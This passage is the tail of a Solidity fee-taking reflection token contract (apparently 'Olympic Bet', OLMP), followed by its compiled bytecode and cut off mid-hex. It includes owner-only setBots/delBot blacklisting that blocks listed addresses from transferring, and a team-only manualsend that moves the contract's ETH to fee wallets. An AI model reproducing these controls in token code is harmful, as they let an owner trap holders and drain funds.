uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063d543dbeb146103ef578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b806323b872dd116100e757806323b872dd146101e0578063273123b71461021d578063313ce567146102465780635932ead1146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c5780631f90da74146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b60405161014691906131e9565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612ce9565b610492565b60405161018391906131ce565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae91906133ab565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612c22565b6104c1565b005b3480156101ec57600080fd5b5061020760048036038101906102029190612c9a565b6106cb565b60405161021491906131ce565b60405180910390f35b34801561022957600080fd5b50610244600480360381019061023f9190612bd0565b6107a4565b005b34801561025257600080fd5b5061025b610894565b6040516102689190613420565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190612d66565b61089d565b005b3480156102a657600080fd5b506102af61094f565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612bd0565b6109c1565b6040516102e591906133ab565b60405180910390f35b3480156102fa57600080fd5b50610303610a12565b005b34801561031157600080fd5b5061031a610b65565b6040516103279190613100565b60405180910390f35b34801561033c57600080fd5b50610345610b8e565b60405161035291906131e9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190612ce9565b610bcb565b60405161038f91906131ce565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612d25565b610be9565b005b3480156103cd57600080fd5b506103d6610d39565b005b3480156103e457600080fd5b506103ed610db3565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612db8565b61130f565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612c5e565b611458565b60405161044c91906133ab565b60405180910390f35b60606040518060400160405280600b81526020017f4f6c796d70696320426574000000000000000000000000000000000000000000815250905090565b60006104a661049f6114df565b84846114e7565b6001905092915050565b6000683635c9adc5dea00000905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610551576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105489061330b565b60405180910390fd5b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006106d88484846116b2565b610799846106e46114df565b61079485604051806060016040528060288152602001613b3660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074a6114df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea59092919063ffffffff16565b6114e7565b600190509392505050565b6107ac6114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610830906132cb565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6108a56114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610932576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610929906132cb565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109906114df565b73ffffffffffffffffffffffffffffffffffffffff16146109b057600080fd5b60004790506109be81611f09565b50565b6000610a0b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202a565b9050919050565b610a1a6114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e906132cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f4c4d5000000000000000000000000000000000000000000000000000000000815250905090565b6000610bdf610bd86114df565b84846116b2565b6001905092915050565b610bf16114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c75906132cb565b60405180910390fd5b60005b8151811015610d35576001600b6000848481518110610cc9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d2d906136d3565b915050610c81565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7a6114df565b73ffffffffffffffffffffffffffffffffffffffff1614610d9a57600080fd5b6000610da5306109c1565b9050610db081612098565b50565b610dbb6114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f906132cb565b60405180910390fd5b601060149054906101000a900460ff1615610e98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8f9061336b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f2830600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006114e7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f6e57600080fd5b505afa158015610f82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa69190612bf9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561100857600080fd5b505afa15801561101c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110409190612bf9565b6040518363ffffffff1660e01b815260040161105d92919061311b565b602060405180830381600087803b15801561107757600080fd5b505af115801561108b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110af9190612bf9565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611138306109c1565b600080611143610b65565b426040518863ffffffff1660e01b81526004016111659695949392919061316d565b6060604051808303818588803b15801561117e57600080fd5b505af1158015611192573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111b79190612de1565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550678ac7230489e800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b9929190613144565b602060405180830381600087803b1580156112d357600080fd5b505af11580156112e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130b9190612d8f565b5050565b6113176114df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b906132cb565b60405180910390fd5b600081116113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de9061328b565b60405180910390fd5b611416606461140883683635c9adc5dea0000061239290919063ffffffff16565b61240d90919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60115460405161144d91906133ab565b60405180910390a150565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e9061334b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be9061324b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116a591906133ab565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611722576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117199061332b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611792576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117899061320b565b60405180910390fd5b600081116117d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cc906132eb565b60405180910390fd5b6117dd610b65565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561184b575061181b610b65565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611de257601060179054906101000a900460ff1615611a7e573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118cd57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119275750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119815750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7d57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119c76114df565b73ffffffffffffffffffffffffffffffffffffffff161480611a3d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a256114df565b73ffffffffffffffffffffffffffffffffffffffff16145b611a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a739061338b565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ac157601154811115611ac057600080fd5b5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b655750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6e57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c195750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c875750601060179054906101000a900460ff165b15611d285742600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611cd757600080fd5b600f42611ce491906134e1565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611d33306109c1565b9050601060159054906101000a900460ff16158015611da05750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611db85750601060169054906101000a900460ff165b15611de057611dc681612098565b60004790506000811115611dde57611ddd47611f09565b5b505b505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e895750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e9357600090505b611e9f84848484612457565b50505050565b6000838311158290611eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee491906131e9565b60405180910390fd5b5060008385611efc91906135c2565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f6c600a611f5e60038661239290919063ffffffff16565b61240d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f97573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ffb600a611fed60078661239290919063ffffffff16565b61240d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612026573d6000803e3d6000fd5b5050565b6000600754821115612071576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120689061322b565b60405180910390fd5b600061207b612484565b9050612090818461240d90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120f6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121245781602001602082028036833780820191505090505b5090503081600081518110612162577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561220457600080fd5b505afa158015612218573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061223c9190612bf9565b81600181518110612276577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122dd30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114e7565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123419594939291906133c6565b600060405180830381600087803b15801561235b57600080fd5b505af115801561236f573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000808314156123a55760009050612407565b600082846123b39190613568565b90508284826123c29190613537565b14612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f9906132ab565b60405180910390fd5b809150505b92915050565b600061244f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124af565b905092915050565b8061246557612464612512565b5b612470848484612543565b8061247e5761247d61270e565b5b50505050565b600080600061249161271f565b915091506124a8818361240d90919063ffffffff16565b9250505090565b600080831182906124f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ed91906131e9565b60405180910390fd5b50600083856125059190613537565b9050809150509392505050565b600060095414801561252657506000600a54145b1561253057612541565b60006009819055506000600a819055505b565b60008060008060008061255587612781565b9550955095509550955095506125b386600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264885600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283390919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269481612891565b61269e848361294e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126fb91906133ab565b60405180910390a3505050505050505050565b6002600981905550600a8081905550565b600080600060075490506000683635c9adc5dea000009050612755683635c9adc5dea0000060075461240d90919063ffffffff16565b82101561277457600754683635c9adc5dea0000093509350505061277d565b81819350935050505b9091565b600080600080600080600080600061279e8a600954600a54612988565b92509250925060006127ae612484565b905060008060006127c18e878787612a1e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061282b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ea5565b905092915050565b600080828461284291906134e1565b905083811015612887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287e9061326b565b60405180910390fd5b8091505092915050565b600061289b612484565b905060006128b2828461239290919063ffffffff16565b905061290681600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283390919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612963826007546127e990919063ffffffff16565b60078190555061297e8160085461283390919063ffffffff16565b6008819055505050565b6000806000806129b460646129a6888a61239290919063ffffffff16565b61240d90919063ffffffff16565b905060006129de60646129d0888b61239290919063ffffffff16565b61240d90919063ffffffff16565b90506000612a07826129f9858c6127e990919063ffffffff16565b6127e990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a37858961239290919063ffffffff16565b90506000612a4e868961239290919063ffffffff16565b90506000612a65878961239290919063ffffffff16565b90506000612a8e82612a8085876127e990919063ffffffff16565b6127e990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612aba612ab584613460565b61343b565b90508083825260208201905082856020860282011115612ad957600080fd5b60005b85811015612b095781612aef8882612b13565b845260208401935060208301925050600181019050612adc565b5050509392505050565b600081359050612b2281613ad9565b92915050565b600081519050612b3781613ad9565b92915050565b600081359050612b4c81613af0565b92915050565b600082601f830112612b6357600080fd5b8135612b73848260208601612aa7565b91505092915050565b600081359050612b8b81613b07565b92915050565b600081519050612ba081613b07565b92915050565b600081359050612bb581613b1e565b92915050565b600081519050612bca81613b1e565b92915050565b600060208284031215612be257600080fd5b6000612bf084828501612b13565b91505092915050565b600060208284031215612c0b57600080fd5b6000612c1984828501612b28565b91505092915050565b60008060408385031215612c3557600080fd5b6000612c4385828601612b3d565b9250506020612c5485828601612b3d565b9150509250929050565b60008060408385031215612c7157600080fd5b6000612c7f85828601612b13565b9250506020612c9085828601612b13565b9150509250929050565b600080600060608486031215612caf57600080fd5b6000612cbd86828701612b13565b9350506020612cce86828701612b13565b9250506040612cdf86828701612ba6565b9150509250925092565b60008060408385031215612cfc57600080fd5b6000612d0a85828601612b13565b9250506020612d1b85828601612ba6565b9150509250929050565b600060208284031215612d3757600080fd5b600082013567ffffffffffffffff811115612d5157600080fd5b612d5d84828501612b52565b91505092915050565b600060208284031215612d7857600080fd5b6000612d8684828501612b7c565b91505092915050565b600060208284031215612da157600080fd5b6000612daf84828501612b91565b91505092915050565b600060208284031215612dca57600080fd5b6000612dd884828501612ba6565b91505092915050565b600080600060608486031215612df657600080fd5b6000612e0486828701612bbb565b9350506020612e1586828701612bbb565b9250506040612e2686828701612bbb565b9150509250925092565b6000612e3c8383612e48565b60208301905092915050565b612e51816135f6565b82525050565b612e60816135f6565b82525050565b6000612e718261349c565b612e7b81856134bf565b9350612e868361348c565b8060005b83811015612eb7578151612e9e8882612e30565b9750612ea9836134b2565b925050600181019050612e8a565b5085935050505092915050565b612ecd8161361a565b82525050565b612edc8161365d565b82525050565b6000612eed826134a7565b612ef781856134d0565b9350612f0781856020860161366f565b612f10816137a9565b840191505092915050565b6000612f286023836134d0565b9150612f33826137ba565b604082019050919050565b6000612f4b602a836134d0565b9150612f5682613809565b604082019050919050565b6000612f6e6022836134d0565b9150612f7982613858565b604082019050919050565b6000612f91601b836134d0565b9150612f9c826138a7565b602082019050919050565b6000612fb4601d836134d0565b9150612fbf826138d0565b602082019050919050565b6000612fd76021836134d0565b9150612fe2826138f9565b604082019050919050565b6000612ffa6020836134d0565b915061300582613948565b602082019050919050565b600061301d6029836134d0565b915061302882613971565b604082019050919050565b60006130406016836134d0565b915061304b826139c0565b602082019050919050565b60006130636025836134d0565b915061306e826139e9565b604082019050919050565b60006130866024836134d0565b915061309182613a38565b604082019050919050565b60006130a96017836134d0565b91506130b482613a87565b602082019050919050565b60006130cc6011836134d0565b91506130d782613ab0565b602082019050919050565b6130eb81613646565b82525050565b6130fa81613650565b82525050565b60006020820190506131156000830184612e57565b92915050565b60006040820190506131306000830185612e57565b61313d6020830184612e57565b9392505050565b60006040820190506131596000830185612e57565b61316660208301846130e2565b9392505050565b600060c0820190506131826000830189612e57565b61318f60208301886130e2565b61319c6040830187612ed3565b6131a96060830186612ed3565b6131b66080830185612e57565b6131c360a08301846130e2565b979650505050505050565b60006020820190506131e36000830184612ec4565b92915050565b600060208201905081810360008301526132038184612ee2565b905092915050565b6000602082019050818103600083015261322481612f1b565b9050919050565b6000602082019050818103600083015261324481612f3e565b9050919050565b6000602082019050818103600083015261326481612f61565b9050919050565b6000602082019050818103600083015261328481612f84565b9050919050565b600060208201905081810360008301526132a481612fa7565b9050919050565b600060208201905081810360008301526132c481612fca565b9050919050565b600060208201905081810360008301526132e481612fed565b9050919050565b6000602082019050818103600083015261330481613010565b9050919050565b6000602082019050818103600083015261332481613033565b9050919050565b6000602082019050818103600083015261334481613056565b9050919050565b6000602082019050818103600083015261336481613079565b9050919050565b600060208201905081810360008301526133848161309c565b9050919050565b600060208201905081810360008301526133a4816130bf565b9050919050565b60006020820190506133c060008301846130e2565b92915050565b600060a0820190506133db60008301886130e2565b6133e86020830187612ed3565b81810360408301526133fa8186612e66565b90506134096060830185612e57565b61341660808301846130e2565b9695505050505050565b600060208201905061343560008301846130f1565b92915050565b6000613445613456565b905061345182826136a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561347b5761347a61377a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134ec82613646565b91506134f783613646565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561352c5761352b61371c565b5b828201905092915050565b600061354282613646565b915061354d83613646565b92508261355d5761355c61374b565b5b828204905092915050565b600061357382613646565b915061357e83613646565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135b7576135b661371c565b5b828202905092915050565b60006135cd82613646565b91506135d883613646565b9250828210156135eb576135ea61371c565b5b828203905092915050565b600061360182613626565b9050919050565b600061361382613626565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061366882613646565b9050919050565b60005b8381101561368d578082015181840152602081019050613672565b8381111561369c576000848401525b50505050565b6136ab826137a9565b810181811067ffffffffffffffff821117156136ca576136c961377a565b5b80604052505050565b60006136de82613646565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137115761371061371c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f596f7520617265206e6f7420617574686f72697a656400000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520